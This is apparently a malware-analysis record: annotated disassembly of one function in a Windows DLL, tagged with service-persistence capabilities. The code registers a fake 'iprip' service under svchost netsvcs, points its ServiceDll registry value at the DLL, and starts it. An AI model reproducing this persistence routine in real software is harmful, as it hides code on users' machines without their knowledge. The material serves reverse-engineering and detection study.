Function at 0x180009bf0
Capabilities:
Create service
Delete service
Persist via windows service
Set registry value
Start service

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x1a0
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rsp + 0x190], rax
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rcx, rax
call fcn.18001cca0
call fcn.180009a40
test eax, eax
je 0x180009e56
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rsi, rax
test rax, rax
je 0x180009e56
xor edi, edi
lea rax, str.__SystemRoot_System32_svchost.exe___k_netsvcs
mov qword [rsp + 0x60], rdi
lea r8, str.iprip
mov qword [rsp + 0x58], rdi
lea rdx, str.iprip
mov qword [rsp + 0x50], rdi
mov r9d, 0xf01ff
mov qword [rsp + 0x48], rdi
mov rcx, rsi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
test rax, rax
je 0x180009e56
lea r8, str.iprip
mov qword [rsp + 0x1b0], rbx
lea rdx, str.SYSTEMCurrentControlSetServices_sParameters
lea rcx, [rsp + 0x80]
call fcn.1800029c0
lea rax, [rsp + 0x7c]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x80]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x180009dab
lea rbx, [0x180052700]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [rsp + 0x70]
lea r9d, [rdi + 2]
mov dword [rsp + 0x28], eax
lea rdx, str.ServiceDll
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x70]
test eax, eax
jne 0x180009da5
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x78]
mov dword [rsp + 0x28], 4
lea r9d, [rdi + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.ServiceDllUnloadOnStop
mov dword [rsp + 0x78], edi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x70]
mov dword [rsp + 0x78], eax
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r8d, 0xf01ff
lea rdx, str.iprip
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
test rax, rax
jne 0x180009dfa
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov rbx, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.180011100
mov rsi, qword [rsp + 0x1b8]
add rsp, 0x1a0
pop rdi
ret
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ecx, 0xbb8
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
jne 0x180009e4c
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x180009e4c
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x180009dcf
mov eax, 1
jmp 0x180009dd1
xor eax, eax
jmp 0x180009dd9